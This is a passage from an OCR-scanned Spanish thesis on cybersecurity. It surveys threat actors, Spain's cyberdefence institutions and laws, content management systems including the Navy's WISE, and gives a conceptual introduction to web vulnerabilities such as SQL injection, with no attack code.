impacto y limitar los dafios que, sobre una nacién, pueden ocasionar.

En la Figura 2-1 se muestra una piramide de las ciberamenazas mas comunes, que afectan a
cualquier sistema informatico, asi como a las aplicaciones web. En el primer escalon se localizan los
Script Kiddies, que hace alusion a individuos que emplean herramientas bésicas y que carecen de
conocimientos técnicos necesarios para el desarrollo de sus propios productos [24]. Estos individuos
son capaces de realizar acciones simples como el robo o hackeo de contrasefias.

ATACANTES CAPACIDADES

PHISING PHARMING
SPOOFING MITM

BLACK HAT PRO
ROBO DE CREDENCIALES
INGENIERIA SOCIAL

CONTRASERAS

Figura 2-1 Piramide tipos de ataques vs capacidades (tomada de [25])

En el siguiente nivel encontramos los Black Hat Pro. Estos ciberdelincuentes disponen de
conocimientos suficientes para realizar modificaciones de productos existentes y realizar acciones mas
complejas como ingenieria social, phising o pharming, para su beneficio personal. (Ver Anexo Il para
mas informacion).

Ya alcanzando la parte alta de la piramide, encontramos a los grupos organizados. Estos colectivos
se encuadran dentro del crimen organizado y el hacktivismo [26]. El hacktivismo combina el activismo
politico con el hacking online. Este es un nuevo movimiento masivo que, en muchas ocasiones, hace
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referencia a ideales de libertades individuales, de expresion e informacién. Dentro de los ataques que
estos individuos realizan destacan: DoS (Denial of Service), hijacking (robo de informacion) o
defacement (deformacion o cambio intencionado de una pagina web). Hoy en dia, existen diferentes
variantes del hacktivismo:

Anonymous: Es el componente publico mas popular. Sus miembros defienden la independencia
de Internet y se oponen a la censura o las barreras existentes al flujo de informacién. En algunas
ocasiones, realizan acciones de robo y distribucion de informacion personal y/o confidencial,
reivindicando el control que los gobiernos ejercen sobre la informacion. Actualmente han
declarado la guerra informatica a las plataformas de propaganda yihadista, como respuesta a los
ultimos atentados en occidente.

Los verdaderos activistas son los Ilamados Ciberocupas. Estos utilizan las redes sociales para
difundir propaganda e informacion. Cometen actos delictivos para defender sus ideales, reforzar
la democracia y luchar contra la corrupcion, mediante el robo y la publicacion de la informacién
sustraida.

Por altimo, los ciberguerreros, se autodefinen como patriotas, agrupandose en “ciberejércitos”.
Normalmente dicen actuar en nombre de sus naciones y prestan su apoyo a movimientos
extremistas. Mediante el uso de ataques de DDoS (Distributed Denial of Service), se ocupan de
silenciar a los opositores.

La Figura 2-2 representa la evolucion desarrollada por el hacktivismo en los ultimos afios:

Estados no democraticos Apoyo real
y no laicos l
Manipulacién oismored Ciberejércitos
Patriotismo apoyo débil — Palr reales
J U Ciberejércitos
>| Ciberpatriotas W autoproclamados
iPor una Internet libre! | Anony mMous
- (segunda era)
. - . Conciencia 1
‘ SCl'Ipt kiddies For the lulz" €———— politica real,
erganizacion Cooperacion

b

Se uldores Contra la censura Anon mous jPor un mundo libre! A
‘ del gtio 4chan | en Tnternet {primgra era) > ClberOCupaS

'y F
Cocperacion

Deseo -
Hackers de unirse Occupy y movimientos
—‘ @ un grupo de indignados
Ciberdisidentes ! y ’! Ciberdisidentes ‘
A menude, simples deformadares Ansias de democracia Més alla de la deformacion

Figura 2-2 Evolucion del ciberactivismo (tomada de [27])

La cima de la pirdmide, ilustrada en la Figura 2-1, estd ocupada por las agencias gubernamentales

y las APT’s (Advanced Persistent Threats) [28]. Estas agencias cuentan con importantes recursos
materiales, humanos y econémicos. Son capaces de desarrollar armas informaticas y causar ataques
con consecuencias devastadoras, con un alto grado de anonimato.

Para nuestra defensa, la Administracion espafiola cuenta con:

El Consejo Nacional de Ciberseguridad. Elabora la Politica de ciberseguridad.
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El Centro Nacional de Excelencia en Ciberseguridad (CNEC). Coordina la ciberseguridad
Nacional.

El Instituto Nacional de Ciberseguridad (INCIBE). Responde ante incidentes de
ciberseguridad y realiza labores de investigacion, seguimiento y estudio de los riesgos
emergentes.

Las Fuerzas y Cuerpos de Seguridad de Estado. Investigan y hacen frente a las nuevas
formas de ciberdelincuencia.

Las Fuerzas Armadas Espafiolas con el Mando Conjunto de Ciberdefensa (MCCD). Planea y
ejecuta las acciones relativas a la ciberdefensa militar y protege al ciberespacio de amenazas y
agresiones que afecten a la Seguridad Nacional.

2.3.1 Consejo Nacional de Ciberseguridad

El Consejo Nacional de Ciberseguridad se crea el 5 de diciembre de 2013 [29], tras el acuerdo del
Consejo de Seguridad Nacional. Entre sus funciones se encuentran [30]:

El andlisis, estudio y propuesta de iniciativas relacionadas con el ambito de la seguridad
informatica.

Elaboracion de normativas de ciberseguridad.

Verificar el grado de cumplimiento de la Estrategia de Seguridad Nacional y promover e
impulsar sus revisiones.

Analizar los riesgos y amenazas, asi como los posibles escenarios de crisis.

Mantener, elaborar planes de respuesta y formular las directrices para la realizacion de
ejercicios de gestion de crisis, analizando los resultados obtenidos.

Contribuir a la disponibilidad de los recursos existentes y al mantenimiento de las
Administraciones Publicas.

Facilitar la coordinacion con los érganos y autoridades competentes cuando las situaciones que
afecten a la ciberseguridad lo precisen.

Como se muestra en la Figura 2-3, tiene una coordinacion directa con Presidencia de Gobierno, el
Centro Nacional de Inteligencia y los distintos ministerios:

MINISTERIO DE LA
PRESIDENCIA GOBIERNO PRESIDENCIA
DPTO. SEGURIDAD CNI

PRESIDENCIA GOBIERNO
DPTO. SEGURIDAD

NACIONAL (Presidencia) NACIONAL

(Vicepresidencia)

(Secretario)

MINISTERIO DE

DEPARTAMENTO HACIENDA Y ADMONES.
DE SEGURIDAD PUBLICAS
NACIONAL (Vicepresidente Técnico)
MINISTERIO DE MINISTERIO DE
JUSTICIA ‘ .

AA. EE. Y DE
COOPERACION

MINISTERIO DE
DEFENSA

MINISTERIO DE
HACIENDA Y AA. PP.
MINISTERIO DE
FOMENTO

MINISTERIO DEL
INTERIOR

MINISTERIO DE MINISTERIO DE
EMPLEO Y INDUSTRIA, ENERGIA
SEGURIDAD SOCIAL Y TURISMO
MINISTERIO DE LA ‘ MINISTERIO DE
PRESIDENCIA EDUCACION,
D.G.TIC CULTURA Y DEPORTE
MINISTERIO DE MINISTERIO DE LA
ECONOMIA Y PRESIDENCIA
COMPETITIVIDAD CCN - CNI

Figura 2-3 Composicion del Consejo Nacional de Ciberseguridad
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2.3.2 Centro Nacional de Excelencia en Ciberseguridad

El Centro Nacional de Excelencia en Ciberseguridad (CNEC) responde al proyecto europeo para la
creacion de centros de ciberseguridad nacionales. Colabora estrechamente con los Cuerpos y Fuerzas
de Seguridad del Estado, la universidad y el mundo empresarial.

El Centro se encuadra dentro de la estructura del Instituto de Ciencias Forenses y de Seguridad y
focaliza sus esfuerzos a la formacion, entrenamientos, investigacion y desarrollo tecnoldgico en
materia de ciberseguridad. Su objetivo principal es el desarrollo de los medios eficientes para combatir
el cibercrimen. En la actualidad destina parte de sus recursos a la localizacion de nuevos talentos que
deseen formarse en esta doctrina.

2.3.3 Instituto Nacional de Ciberseguridad (INCIBE)

El Instituto Nacional de Tecnologias de la Comunicacion pasa a llamarse Instituto Nacional de
Ciberseguridad de Espafia (INCIBE), el 27 de octubre de 2014 [31].

INCIBE colabora en la construccion de la ciberseguridad nacional. Su actividad se centra en
garantizar el uso seguro de las tecnologias de la informacion. A su vez, realiza labores de formacion,
concienciacion en seguridad en la red y analisis de herramientas de seguridad. Ademas, organiza y
participa en iniciativas para mejorar el escenario de la ciberseguridad, con el fin de enriquecer el
marco de colaboracion de todos los agentes implicados en esta materia.

2.3.4 Mando Conjunto de Ciberdefensa (MCCD)

Mientras que en los otros dominios de la guerra la mayor parte del armamento esta en posesion de
los ejércitos, para combatir en el ciberespacio, no hay ninguna herramienta técnica especifica del
ambito militar, sino que se encuentran accesibles a multiples actores, con un enorme abanico de
motivaciones e intereses, todos ellos, capaces de producir dafios.

Con el fin de ejercer la accién militar en el ciberespacio, se cred el Mando Conjunto de
Ciberdefensa (MCCD) que desde 2013, opera en este ambito tan complicado. Su ambito primario de
actuacion son las redes de mando y control para las operaciones. No obstante, puede actuar en la
defensa de otras redes o sistemas que se le encomienden. En determinadas circunstancias esta
autorizado a responder ante ciertos tipos de ataques que afectan a la Seguridad Nacional.

Las medidas de proteccion de los sistemas que estan bajo su seguridad se estructuran en capas. En
un primer lugar, se encuadran las medidas preventivas. Estas incluyen control de acceso, control de
informacidn, analisis de vulnerabilidades, redaccion de nuevas normativas y procedimientos, asi como
el desarrollo de actividades de concienciacion y adiestramiento del personal. Ya enfocadas a detectar
las amenazas y su correccion de manera temprana, se encuentran las medidas proactivas. Para ello, el
centro dispone de equipos para la monitorizacion de eventos, equipos de inspeccion y auditorias que
realizan tests de penetracion. En el tercer escalon se encuentran las medidas reactivas, dirigidas a
minimizar los efectos de los ataques que a diario sufre Espafia, asi como a investigar las causas que los
motivan. Para ello disponen de equipos de analisis forense, restauracion de sistemas y el conjunto de
acciones legales, en caso de ser necesarias.

En sus centros de formacion asociados, se realizan cursos de seguridad en: malware, redes
inalambricas, hacking ético, ingenieria social, criptografia, ciberderecho, bases de datos seguras,
APT’s, disefio de ciberarmas, arquitecturas seguras, big data, honeynets, etc. Ademas, el MCCD
participa en ejercicios de caracter internacional.

De la misma forma, todas las naciones de nuestro entorno se han concienciado y estan
desarrollando iniciativas y planes, tratando de hacer frente a estas amenazas emergentes. Gran parte de
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ellas se basan en fortalecer la capacidad técnica y coordinarla, interviniendo en forma de respuesta y
solo en caso de que la amenaza ya se haya materializado.

Pero, la seguridad no es gratuita y es vital también el presupuesto que se le dedique. En un mundo
con un caracter evolutivo tan volatil, las naciones deben actualizarse de manera continua si se pretende
alcanzar una capacidad técnica competente, capaz de hacer frente a las amenazas emergentes y mas
exigentes.

Actualmente, el MCCD cuenta con unas 70 personas, civiles y militares, y se ubica en Pozuelo de
Alarcon (Madrid). Sus cometidos actuales son [32]:

e El desarrollo de los medios y procedimientos necesarios que garanticen el acceso libre a la red.

e Garantizar la disponibilidad, integridad y confidencialidad de la informacién.

e Garantizar el funcionamiento de los servicios criticos.

e Analizar y obtener informacion sobre ciberataques e incidentes en la web.

e Ejecutar una respuesta legitima, oportuna y proporcionada ante cualquier agresion que afecte a
la Seguridad Nacional.

e Dirigir y coordinar la actividad de los centros de respuesta a incidentes de seguridad de la
informacidn de los Ejércitos y Armada, y el de operaciones de seguridad de la informacion del
Ministerio de Defensa.

e Cooperar, en materia de ciberdefensa, con los centros nacionales de respuesta, ante incidentes
de seguridad de la informacion.

o Definir, dirigir y coordinar la concienciacion, la formacion y el adiestramiento especializado en
materia de ciberdefensa.

2.4 Nueva normativa en seguridad de la informacion

Los nuevos ciberdelitos evidencian la necesidad de una nueva legislacion. Su répido desarrollo
dificulta la aplicacion de un codigo penal acorde con esta realidad. Todavia, en muchas ocasiones, las
sanciones impuestas quedan solo a criterio del juez designado para el caso. Esto, sin duda, favorece a
los ciberdelincuentes que, aprovechando estos vacios legales, no ven consecuencias tras sus actos. En
el Anexo | del presente documento se recogen los articulos del Cddigo Penal, que regulan actualmente
en Espafia los sistemas informaticos y su uso.

No obstante, el 1 de julio de 2015 entr6 en vigor la Ley Orgénica 1/2015. Esta ley supone una
reforma en el Codigo Penal, que intenta ofrecer una respuesta mas adecuada a las nuevas formas de
ciberdelincuencia.

Con el mismo objeto, el Parlamento Europeo, tras largas negociaciones y el andlisis de distintas
propuestas, alcanz6 un acuerdo a finales de 2015 con dos propuestas legislativas. Previsiblemente
entraran en vigor durante el presente afio y seran de obligada aplicacion por todos los estados de la
Union a partir de 2018 [33].

La primera propuesta consiste en la elaboracion de un reglamento relativo a la proteccion de los
datos personales y a su circulacion en la red. El Reglamento General de Proteccion de Datos regulara
el tratamiento de los datos personales con el objetivo de defender a las personas fisicas. Se recogera
una lista de infracciones penales e imposicion de sanciones con caracter correctivas. Ademas, el
tratamiento de los datos personales se vera regido por una normativa comdn, en la Union Europea.

Ademas, las empresas con sede en territorio europeo o cualquier compafia que ofrezca sus
servicios a sus ciudadanos, deberan adaptarse al nuevo reglamento. Algunos de los puntos que se veran
regulados son:

e Seguridad de los datos: Se establece como obligatoria la aplicacion de medidas para la
defensa de los riesgos que afectan a la informacion que se encuentra disponible en Internet.
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e Brechas de seguridad: En un maximo de 72 horas desde su conocimiento, se debera
comunicar a la autoridad correspondiente la violacion de cualquier dato de caracter
personal. El comunicado hard mencion a la naturaleza y numero de los datos afectados, a la
identidad de los afectados, y las medidas propuestas o en marcha para su solucion.

e Evaluacion de la privacidad: Se debera detallar el tratamiento previsto de la informacion
privada, evaluar las operaciones en las que dicha informacion se emplee y se evidenciaran
las garantias que la protejan.

En referencia a las sanciones previstas en lo expuesto anteriormente, la potestad sancionadora
residird sobre los estados y, en caso de transposicion de delitos entre autoridades, se debera llevar a
cabo en un periodo inferior a dos afios.

En materia de ciberdefensa, la nueva politica aclara que, ante un ataque digital contra un estado
miembro, se puede efectuar una respuesta, respaldada en el articulo 5 del Tratado Atlantico, la clausula
para la defensa colectiva. En el caso de este supuesto ataque, se consideraria la apertura de hostilidades
contra el conjunto de la OTAN y se podria actuar de manera legitima, empleando las medidas
necesarias que garanticen la seguridad, incluyendo el uso de las FAS. Estas medidas finalizarian una
vez que se haya restablecido la paz y el control del ciberentorno afectado.

Estos acontecimientos son un pequefio intento por paliar la problematica legal de esta realidad
virtual. Las leyes y su legislacién deberan alcanzar en los proximos afios el dinamismo suficiente, para
igualar a la constante evolucién tecnolégica y ejercer una clara clasificacion de los actos que en la red
se desarrollan. A su vez, las nuevas medidas se deben encaminar hacia el robustecimiento de los
controles informaticos en materia de seguridad, de manera que se prevengan los delitos.

2.5 Revision de los gestores de contenidos. Introduccion a WISE

Los gestores de contenidos se utilizan en multitud de aplicaciones en la web y abarcan un amplio
conjunto de entornos, con diferentes usos y objetivos. Facilitan la creacion y la administracion de
infinidad de sitios en la red y hacen posible que, cualquier persona, sin la necesidad de tener
conocimientos en programacién, pueda desarrollar un sitio web. Debido a la facilidad que presentan,
se suelen emplear en aquellos portales que necesitan una constante actualizacion. Estos pueden ser
periddicos, tiendas virtuales o portales de noticias. Los mas utilizados actualmente suponen una base
importante para la realizacion de estrategias de marketing de muchas empresas. La caracteristica que
ha hecho tan populares a los CMS (Content Management System) es la facilidad que presentan para su
manejo, actualizacion y mantenimiento. De todas formas, cada gestor de contenidos presenta una serie
de peculiaridades que lo diferencia de los demas.

Los CMS se dividen de dos partes. La primera de ellas en la parte publica, es decir, la web tal y
como se encuentra accesible a cualquier usuario que acceda a la URL o la direccion del gestor. La
segunda parte se conoce como la parte privada y es aquella a la que solamente pueden acceder las
personas registradas, mediante su usuario y contrasefia. En esta parte se realiza la edicién y
administracion del sistema. Para ello, los distintos tipos de gestores disponen un panel de herramientas
que permiten la modificacion y personalizacién del entorno, permitiendo realizar los cambios deseados
de manera sencilla y clara (véase Figura 2-4).
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Figura 2-4 Funcionamiento de un gestor de contenidos (tomada de [34])

Debido al numero y a los distintos grupos de usuarios que acceden a estos gestores, normalmente,
se otorgan distintos roles a cada uno de ellos. Dentro de estos roles se encuentran los permisos de
administracion, modificacion, edicion o simplemente, lectura y visualizacion de contenidos.

A nivel de arquitectura, los gestores de contenidos se estructuran en tres capas, tal y como se
ilustra en la Figura 2-5:

e Capa de datos: La capa o base de datos es el repositorio en el que se almacena la
informacion publicada en el CMS. Ademaés de almacenar la informacion, la capa de datos
permite el acceso a los recursos.

e Capa de aplicacién: En esta capa intermedia se procesan las peticiones del usuario y se
envian las respuestas tras el proceso. Se denomina capa logica y supone el canal de
comunicacion entre el usuario y la base de datos en la que se almacena la informacion.

e (Capa de presentacion: Esta capa es la que ve el usuario que accede al sistema. Es
conocida como la interfaz grafica y suele ser amigable. En ella se muestra la informacion

estructurada.
Capa de presentacion Pagina web
Lo que ve el usuario
HTML+CSS
*
-
Capa de aplicacién Codigo PHP +
Trabajo interno del CMS Controlador Base de Datos
*
v
Capa de datos
Almacenamiento del Base
contenido de
Datos

Figura 2-5 Arquitectura de un CMS (tomada de [35])
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2.5.1 WordPress

WordPress [36] es sin duda el gestor de contenidos mas empleado (al final de esta seccidn se
representan los datos de uso). Este CMS permite la creacion de una gran variedad de entornos y su
enorme popularidad se debe, principalmente, a su facilidad de administracion, sus funciones y
actualizaciones. Ha sido desarrollado en lenguaje PHP para entornos que trabajen sobre bases de datos
MySQL vy el servidor web Apache. Permite maltiples funciones y destaca por su facilidad de empleo,
actualizacion y personalizacion. Existen diversas empresas dedicadas a su programacion y desarrollo.
Estas empresas desarrollan constantemente plugins que mejoran sus funciones o plantillas para facilitar
su manipulacion.

Se calcula que alrededor del 70% de los sitios web basados en gestores de contenidos emplean
WordPress [37]. El conocido servicio publico de prensa BBC emplea este CMS para la distribucion de
contenidos multimedia en Estados Unidos (Figura 2-6).

@/ ‘WORDPRESS.ORG

Themes Plugins Mobile Support Getinvolved About Blog Hosting

Showcase

vcase » BBC America Top Rated

Figura 2-6 Portal web de la BBC America, desarrollado en WordPress (tomada de [38])

Entre sus caracteristicas destacan:

Lenguaje: PHP.

Flexibilidad para implementar funcionalidades personalizadas: Alta.
Dificultad de administracion: Baja.

Dificultad y problematica de actualizacion: Baja.

Documentacion de apoyo: Excelente.

2.5.2 Joomla!

Joomla! [39] es el segundo gestor mas empleado. Este gestor de contenidos se caracteriza,
principalmente, por presentar una version optimizada para dispositivos mdéviles, permitir la gestion de
Banners para la publicacion de anuncios sobre el gestor o la avanzada gestion de permisos y roles. A
pesar de ser un sistema sencillo, su aprendizaje requiere mas tiempo que en WordPress. Como
caracteristicas, destacamos:

Lenguaje: PHP.

Flexibilidad para implementar funcionalidades personalizadas: Baja.
Dificultad de administracion: Media.

Dificultad y problematica de actualizacion: Alta.

Documentacion de apoyo: Buena.
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Figura 2-7 Portal web de la Torre Eiffel, desarrollado en Joomla! (tomada de [40])

En la Figura 2-7 se ilustra la pagina de la Torre Eiffel, que emplea este gestor de contenidos para
publicar informacion turistica como horarios, precios, mapas, itinerarios, etc.

2.5.3 Drupal

En tercer lugar en cuanto a su uso, se encuentra el gestor de contenidos Drupal [41]. Este CMS se
basa en un sistema modular con una arquitectura muy consistente. Permite implementar una gran
variedad de sitios web como son: blogs personales o profesionales, un portal corporativo, tiendas
online, redes sociales, foros, etc.

Este CMS presenta una mayor dificultad para nuevos administradores. Sin embargo, tras la
familiarizacion con el sistema, presenta una enorme ventaja sobre los sistemas anteriormente
expuestos. Esto se debe a que Drupal soporta una mayor cantidad de visitas, permite una alta
personalizacion, posee una gran comunidad de desarrolladores y un buen nivel de seguridad. No
obstante, esta seguridad depende del administrador, que deberéa configurar adecuadamente el sistema.

Lenguaje: PHP.

Flexibilidad para implementar funcionalidades personalizadas: Muy Alta.
Dificultad de administracion: Alta.

Dificultad y problematica de actualizacién: Alta.

Documentacion de apoyo: Bastante.

En la Figura 2-8 se representa el gestor de contenidos Drupal, que emplea de la Casa Blanca [42].

the WHITE HOUSE  PRESIDENT BARACK OBAMA Contact Us» Get Email Updates)
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FIND YOUR PARK

America's Newest National Monuments

President Obama designated three new national monuments in the Califomia desert
He has now protected more land and water than any president in history.

TAKE A LOOK

Figura 2-8 Portal web de la Casa Blanca, desarrollado con Drupal
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2.5.4 Moodle

Moodle [43] es otro ejemplo de CMS. Este gestor de contenidos se emplea principalmente en el
ambito de la ensefianza, como medio para la distribucién de material educativo.

Este sistema permite establecer conversaciones privadas entre estudiantes asi como foros de debate
en el que los profesores plantean una serie de preguntas con el objetivo de que los estudiantes las
respondan. De esta forma, permite crear un feedback entre alumnos y profesores, de manera que se
fomente el aprendizaje de manera amena e iterativa.

La aplicacion permite crear distintos usuarios con diferentes roles de configuracion o visualizacion
de contenidos. Entre sus caracteristicas, destacamos:

e Lenguaje: PHP.

e Flexibilidad para implementar funcionalidades personalizadas: Media.
¢ Dificultad de administracion: Baja.

e Dificultad y problematica de actualizacién: Media.

e Documentacion de apoyo: Bastante.

2.5.5 Magento

Magento [44] constituye una variante mas de estos sistemas. Se destina principalmente a paginas
web orientadas a la venta online.

Su uso se basa en las caracteristicas basicas de todo CMS: la facilidad de configuracion y
personalizacion. Entre sus propiedades destacan: permite la creacion de inventarios y controles de
stock, permite multiples formas de pago y envio, pone a uso de los administradores herramientas de
marketing (productos sugeridos, ventas cruzadas, cupones de descuento), etc.

Trabaja sobre Zend Framework para asegurar que el codigo base sea escalable y seguro. Como
caracteristicas, presenta:

Lenguaje: PHP.

Flexibilidad para implementar funcionalidades personalizadas: Alta.
Dificultad de administracion: Media.

Dificultad y problematica de actualizacion: Baja.

Documentacion de apoyo: Bastante.

2.5.6 PrestaShop

PrestaShop [45] constituye otro ejemplo mas de sistema CMS dedicado al comercio electronico.
Basado en el lenguaje de programacion PHP, supone una variante ante Magento. Incluye més de 300
funciones integradas para la gestion y comercio online. Se puede configurar en méas de 60 idiomas y
actualmente se encuentra en expansion.

Entre sus capacidades permite compartir videos, enlaces, actualizaciones de Twitter, etc.
Destacamos las siguientes propiedades:

Lenguaje: PHP.

Flexibilidad para implementar funcionalidades personalizadas: Alta.
Dificultad de administracion: Media.

Dificultad y problematica de actualizacién: Baja.

Documentacion de apoyo: Bastante.
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Una de las caracteristicas que adquiere una mayor importancia a la hora de seleccionar un gestor u
otro, es la curva de aprendizaje. Esta curva ilustra las posibilidades que presenta el gestor, analizando
el tiempo y conocimiento que, para su configuracion, se requiere. En la Figura 2-9 se ilustra la curva
de aprendizaje de algunos de los gestores de contenidos mas empleados, donde se sefiala al gestor
Drupal como el que mayor esfuerzo requiere. Sin embargo, una vez se obtienen las habilidades
necesarias, Drupal permite desarrollar portales web mas complejos.

Learning curve for popular CMS

Skills & Knowledge

Time

M Modx [ Joomla!
W wordpress W Drupal

Figura 2-9 Curva de aprendizaje CMS (tomada de [46])

La gran diversidad de gestores presentes en la web se pueden clasificar, principalmente en:

e Blogs: Se emplean para la difusion de noticias o articulos en orden cronoldgico y poseen un
espacio para comentarios y discusién. WordPress destaca en este grupo. Se trata de un gestor
de contenidos que, a pesar de permitir la creacién de multiples entornos, se ha popularizado en
su uso como blog.

o Galerias: Permiten compartir contenido audiovisual, imagenes, o videos. Youtube constituye
el mejor de sus ejemplos.

e Wikis: En ellas cualquier usuario puede aportar informacion y redactar articulos sobre
cualquier tema. Normalmente permiten comentarios o realizar correcciones sobre la
informacidn que proyectan. Actualmente Wikipedia es una de las aplicaciones mas usadas para
la busqueda de informacion.

o Gestores de contenidos personales: Sirven de lugar de almacenamiento online de nuestros
archivos. Se emplean frecuentemente en smartphones o tablets, ya que estos dispositivos se
encuentran, en muchas ocasiones, limitados en memoria. Ademas permiten compartir la
informacion para ser leida o modificada por usuarios autorizados.

e Redes sociales: Facebook se ha convertido en la reina de las redes sociales y en el medio de
comunicacion mas usado, donde los usuarios comparten fotos y noticias todos los dias. Otro
ejemplo de esta variante es Twitter. Esta aplicacion nace en 2006 como un servicio para la
publicacion de mensajes cortos (140 caracteres), que ha servido como la plataforma
fundamental para la difusion de noticas, cambios sociales y expansion de tendencias en todo el
mundo.
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Tal y como se ha expuesto anteriormente, existe una gran variedad de gestores de contenidos. La
Figura 2-10 representa el porcentaje de los CMS mas usados en el afio 2014.

I WordPress
B Joomia!
Drupal
Blogger
DotNetNuke
Homestead
B ExpressionEngine
B Weebly
I Yahoo Site Builder
B /Bulietin

Figura 2-10 Uso de los principales CMS (tomada de [47])

2.5.7 WISE

WISE (Web Information Service Environment) [48] es un sistema gestor de contenidos altamente
configurable y muy amigable. Inicialmente fue desarrollado como parte del Maritime Command and
Control Information System (MCCIS) [49] para posibilitar a los usuarios disefiar, desarrollar y manejar
sus propios sitios web, aplicaciones y contenidos en tiempo real. Posteriormente se extendi6 su uso al
resto de usuarios OTAN, en posesion de ordenadores con sistema operativo Windows, como
herramienta para compartir informacion de interés. Actualmente esta aplicacion es utilizada tanto por
organismos OTAN y nacionales (secciones del Estado Mayor de la Armada), como medio para la
difusion de informacion entre los diferentes usuarios de la red.

El gestor dispone de una serie de herramientas y acciones predefinidas, que permiten la creacion
de un entorno jerarquizado. La informacion publicada se puede estructurar en distintas subpaginas, de
forma que se dividan los contenidos a sus usuarios legitimos. El uso de este entorno se restringe
actualmente a la Intranet de la Armada, trabajando en servidores independientes conectados a la red de
propdsito general, 0 a su uso local, a bordo de unidades navales. De esta forma, WISE se emplea en
buques, Estados y Planas Mayores Operativos, asi como en el CEVACO (Centro de Evaluacion para el
Combate). El resto de las unidades navales publican todos sus contenidos en sus péaginas
correspondientes de Intranet.

El gestor de contenidos WISE trabaja sobre ZOPE (Z Object Publishing Environment) [50]. ZOPE
es un servidor de aplicaciones de codigo abierto, escrito en lenguaje Python, especializado en la
gestion de contenidos, portales y aplicaciones web personalizadas. ZOPE le proporciona las funciones
basicas a WISE como son los servicios de red, la aplicacion de herramientas de seguridad y la
integracion de aplicaciones. Las paginas web que trabajan sobre ZOPE se construyen mediante la
adicion y modificacion de objetos. Como se mostrard en el capitulo 3, existe una gran variedad de
tipos de objetos incluidos en el software.

ZOPE proporciona los protocolos de red estandar tales como: el protocolo de transferencia de
hipertexto (HTTP), el protocolo de transferencia de archivos (FTP), Web Distributed Authoring
(Webdav) y el protocolo simple de acceso a objetos (SOAP). No obstante, para el funcionamiento
correcto de la version 1.2 de WISE, s6lo se requiere el uso del protocolo HTTP [51]. Asimismo, ZOPE
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proporciona servicios de seguridad para la identificacion y autenticacion de los usuarios, controles de
acceso y auditoria. WISE incorpora estas caracteristicas para su aplicacion y cumplimiento de las
politicas de seguridad.

ZOPE utiliza CGI (Common Gateway Interface). CGI permite a un cliente (conectado desde un
navegador web), comunicarse con el servidor. Cualquier entrada introducida en WISE es procesada en
el servidor por un script CGI. El diagrama ilustrado en la Figura 2-11 representa una peticion web
generica, procesada por CGI.

1- Alguien realiza una peticion de acceso a un documento en el servidor

2- El servidor web determina si la peticion solicitada se corresponde con algln archivo y si es asi
se transfiere.

3- El servidor CGI procesa la peticion de entrada y realiza una busqueda en la base de datos.

4- El servidor devuelve los resultados al navegador, presentando la informacién al usuario. La
respuesta se entrega en forma de documento HTML al navegador web.

Web Server T

Web Browser | # 4 3 - CGI Senipt

Figura 2-11 Funcionamiento de CGI (tomada de [52])

Cuando un gestor de contenidos WISE trabaja con ZOPE, el sitio web se compone de objetos
almacenados en la base de datos, donde los objetos se almacenan asociados a direcciones URL. De
esta forma, se genera un arbol de contenidos, que se almacenara en el directorio WISE, preestablecido
en la instalacién. Esta base de datos constituye una manera simple y familiar de administracion de los
objetos publicados. Se permite, no obstante, emplear otro tipo de base de datos, pues ZOPE presenta
adaptadores que le permiten trabajar con bases de datos relacionales como, por ejemplo, Oracle,
PostgreSQL, Sybase o MySQL.

2.6 Explotacion de vulnerabilidades: Ataques sobre entornos web

Antes de abordar el andlisis de seguridad del gestor de contenidos WISE, debemos conocer las
amenazas Yy peligros que afectan a las aplicaciones web. Las aplicaciones en general suelen presentar
errores y fallos que, en la mayoria de los casos, son debidos a errores en su disefio o en su
implementacion. La explotacion de vulnerabilidades aprovecha los “puntos débiles” para realizar
acciones no permitidas en el sistema. La explotacion suele tener como objetivos:

Obtener acceso al sistema y a su base de datos.
Robo de informacion confidencial.

Causar darios en el sistema.

Suplantacién de identidad.

Modificar o cambiar informacion.

Danar la imagen corporativa.
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Aunque las vulnerabilidades se pueden explotar de forma manual, normalmente se emplean los
exploits para este fin. Un exploit es un programa o un conjunto de comandos utilizado para explotar
una vulnerabilidad conocida. Actualmente circulan por la red los conocidos frameworks de exploit que
constituyen paquetes de software para la creacion de nuevos exploits. Para su uso se debe configurar el
payload, un fragmento de codigo asociado al exploit y que realiza la funcion buscada dentro del
sistema. Por ejemplo, la creacion de un usuario con derechos de administrador.

Esto se conoce como el proceso de explotacion. Llegado a este punto, si el atacante consigue
acceder al sistema, podra realizar uno o varios de los ataques mencionados o, incluso, usarlo para
acceder a otro sistema de igual nivel o superior en la jerarquia. Esta técnica se conoce como pivoting.
En la Figura 2-12 se reflejan los ataques en tiempo real que se lanzan contra infraestructuras criticas,
empresas o cajeros automaticos en todo el mundo.
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Figura 2-12 Captura de los ataques informaticos en tiempo real (tomada de [53])

A continuacién, analizaremos los principales tipos de vulnerabilidades que afectan a las
aplicaciones web.

2.6.1 Inyecciones SQL

Actualmente existen muchos y distintos tipos de aplicaciones web como, por ejemplo, los gestores
de contenidos o los servicios de correo electronico. Cada grupo engloba sus caracteristicas y
particularidades que los hacen exclusivos. Sin embargo, la inmensa mayoria precisa de un sistema
gestor de bases de datos con soporte para el lenguaje SQL (Structured Query Language) [54].

SQL es el lenguaje estdndar para la comunicacion con bases de datos relacionales. Es dentro de las
bases de datos donde se almacena y gestiona la informacion. En funcion de su valor o de la
clasificacion de seguridad, suele protegerse por una serie de técnicas y mecanismos que le
proporcionen el nivel de seguridad necesario. Pero, en ocasiones, las medidas adoptadas no son
suficientes para subsanar sus vulnerabilidades que, muchas veces, pueden esquivarse por los atacantes.

Como se mostrara posteriormente en la seccion 2.7.1, el ataque web mas frecuente es la Inyeccion
SQL y consiste en alterar un mensaje SQL, provocando la mala validacion en la entrada de un
elemento almacenado y la obtencion de informacion. Ademéas se puede realizar este ataque para
sobreescribir datos, cambiar informacion, modificar transacciones economicas 0 ejecutar comandos
que causen alguna accion no deseada en el sistema. Se considera como un ataque de alto impacto.
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2.6.2 Pérdida de autenticacion y gestion de sesiones

Este ataque permite al usuario suplantar identidades dentro del sistema, no solo provocando un
acceso no deseado, sino que, un fallo en la gestion de sesiones. Se puede incluso suplantar la identidad
del administrador, dejando el control de la web en manos del atacante.

Existen diferentes formas de realizar el robo de contrasefias o la suplantacion de identidad.
Algunas de ellas radican en un escaso control de los cambios de contrasefia, en los recordatorio de las
mismas, en los métodos de recuperacioén o simplemente en no realizar un adecuado cierre de sesion.
Ademas, como ya se ha mencionado, existen exploits capaces de crear un usuario con derechos de
administracion.

2.6.3 Cross-Site Scripting (XSS)

Cross-site Scripting (XSS) es otra vulnerabilidad comun en aplicaciones web que se aprovecha de
